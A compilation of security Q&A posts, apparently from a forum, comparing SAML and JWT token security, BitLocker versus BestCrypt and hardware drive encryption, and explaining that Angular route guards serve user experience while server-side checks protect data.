SAML has lots of knobs which makes it fairly complex and that's the enemy of good security, but everyone pretty much implements it the same way. SWT/JWT are fairly simple in design, but nobody can agree on a single bloody implementation standard and a lot of the public libraries used don't undergo security review.

It also depends on how the tokens are signed and how the keys used for signing are protected. Shared secrets tend to be more difficult to protect and PKI is a PITA, but others may disagree.


BitLocker vs BestCrypt I have managed to activate BitLocker without TPM support on my Windows 10 installation. Is there any security advantage of using this over BestCrypt (paid)?

To be noted that I'm only interested in securing my data against common computer theft, not against governments.

To be noted that I'm only interested in securing my data against common computer theft, not against governments.

Hard-drive encryption only helps against data at rest. If someone uses a vulnerability in your running system, it doesn't help at all.

So, when your threat scenario is that someone remotely steals your data, this doesn't help at all.

In case you need to protect against unauthorized access to an unused (i.e. powered off, not mounted) storage device, for built-in storage devices (hard drives, SSDs), don't use either of your softwares. Simply use the device's own security (basically all modern SSDs have that, and many hard drives); whilst hardware encryption is hard to audit, it's highly unlikely a non-state attacker can gain access to your data. The drive won't give you access to the ciphertext, and if you try to brute-force the password, you will simply be permanently locked out. Also, since this happens before your OS even boots, usually there's no traces in software-accessible RAM of the password or use a software keylogger to sniff it.

For exchangeable storage (USB sticks etc), it essentially doesn't matter and you should choose what fits your application best. Often, simply encrypting the backup files before putting them into backup actually is simpler from a data management perspective – you can simply copy the same files savely from one drive to the next without decrypting them, for example.


How good are Angular Route Guards from a security standpoint? For an enterprise setting, how secure are Route Guards against script kiddies, hackers, and advanced threats?

If I understand correctly, the route guards are all available in .js files to the attacker and since all of the data is on the client-side, the user might be able to easily hack the route protection and manipulate flow logic.

Can the route guards be easily circumvented to access protected routes?
How good are the Route Guards from a security standpoint?

If they're bad, why do they even exist?

Isn't putting your logic from Front-End to Back-End API a better solution?
What security role/purpose do they serve then?

P.S This relates to Angular 8 and not AngularJS.

Any client side restriction can be circumvented by an attacker. No client side restrictions should be relied upon to protect private data. These facts apply to all systems, and the fact that you are using Angular 8 doesn't change anything.

In practice what this means is that your server should not return any data that the logged in user should not access. If you were thinking of returning all data and having Angular guards decide whether or not to display it based upon the user's permission, then that is definitely the wrong approach. That sort of approach can be circumvented by an attacker of almost any skill level, because simply opening the developer tools on your browser and viewing network requests will allow anyone to view all the data.

Rather, the use of guards is simply for a nice UX. Without guards, what happens if the front-end allows a user to navigate to a page they aren't supposed to access? Presumably the user will receive some sort of "Access Denied" error and be very confused. However, if the Angular guards enforce the same set of privileges that the server does, then the user will never be able to visit a page they aren't supposed to visit, and therefore won't get confused by error messages.  Note that your menu has to enforce the same rules.  If your Angular guards would stop a user from going to a sensitive page but there is still a link to it on your menu anyway, then the user will be equally confused when they try to navigate to a secure page and the guards stop them.

Of course this only applies for legitimate users. An attacker of any skill level may find ways to hit your restricted server endpoints directly, so of course your server needs to check permissions too and return an appropriate "Access Denied" message.

  tl/dr: Server side guards are about data protection.  Client-side guards are about providing a smoother user experience.